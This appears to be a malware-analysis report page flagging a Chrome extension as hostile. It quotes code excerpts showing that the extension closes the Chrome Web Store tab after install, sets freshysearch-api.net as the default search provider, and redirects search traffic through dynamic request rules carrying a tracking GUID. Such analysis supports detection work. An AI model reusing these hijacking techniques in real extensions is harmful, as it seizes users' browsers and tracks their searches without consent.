Hostile 100% chrome Download

oadlamjbejlcfifalhbnmhggeinoegjc

Extension closes Chrome Web Store tab on installExtension redirects main-frame search traffic externally

Evidence

Extension configuration cookie name ext.js · lines 1–23
1:12… n Class
2
3function extension() {
4 const CONFIG_COOKIE_NAME = "ext_config";
5 const TY_COOKIE_NAME = "ty_url";
6 const FR_COOKIE_NAME = "install_path";
⋯17 lines
References the WebExtension tabs API ext.js · lines 37–52
37:34… nc () => {
38 if (await getSetting("location")) {
39 const cwsTabs = await chrome.tabs.query({
40 url: `*://chrome.google.com/webstore*${await getSetting(
41 "extId"
42 )}*`,
43 });
44 for (const tab of cwsTabs) {
45 if (await getSetting(TY_COOKIE_NAME)) {
46 chrome.tabs.remove(tab.id);
47 }
48 }
⋯4 lines
HTTP URL string literal ext.js · lines 65–70
65 const actionUrl = new URL(
66 `https://api.${this.config.apiDomain}/api/v2/action`
67 );
68 actionUrl.searchParams.set("action", "consentAccept");
69 actionUrl.searchParams.set("tbid", typeTBID);
70 actionUrl.searchParams …
Chrome updates dynamic DNR rules ext.js · lines 166–190
166:19… ait install();
167 await setTypeTag();
168 const guid = await getSetting("guid", true);
169 chrome.declarativeNetRequest.updateDynamicRules({
170 removeRuleIds: [1],
171 addRules: [
172 {
173 id: 1,
174 priority: 1,
175 action: {
176 type: "redirect",
177 redirect: {
178 regexSubstitution: `https://search.${this.config.apiDomain}/crx/search.php?k=\\1&action=ds&guid=${guid}&firstSearch=true`,
179 },
180 },
181 condition: {
182 regexFilter: `https://search.${this.config.apiDomain}/search/(.*)`,
183 isUrlFilterCaseSensitive: false,
184 resourceTypes: ["main_frame"],
185 },
186 },
⋯4 lines
Chrome default search provider override manifest.json · lines 1–48
⋯26 lines
27 "search_provider": {
28 "name": "Web",
29 "is_default": true,
30 "encoding": "UTF-8",
31 "keyword": "search",
32 "favicon_url": "https://search.freshysearch-api.net/favicon.ico",
33 "search_url": "https://search.freshysearch-api.net/search/{searchTerms}",
34 "suggest_url": "https://meta.freshysearch-api.net/sug3/?s={searchTerms}"
35 }
36 },
37 "host_permissions": ["*://*.freshysearch-api.net/*"],
38 "permissions": [
39 "cookies",
40 "storage",
41 "tabs",
⋯7 lines

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.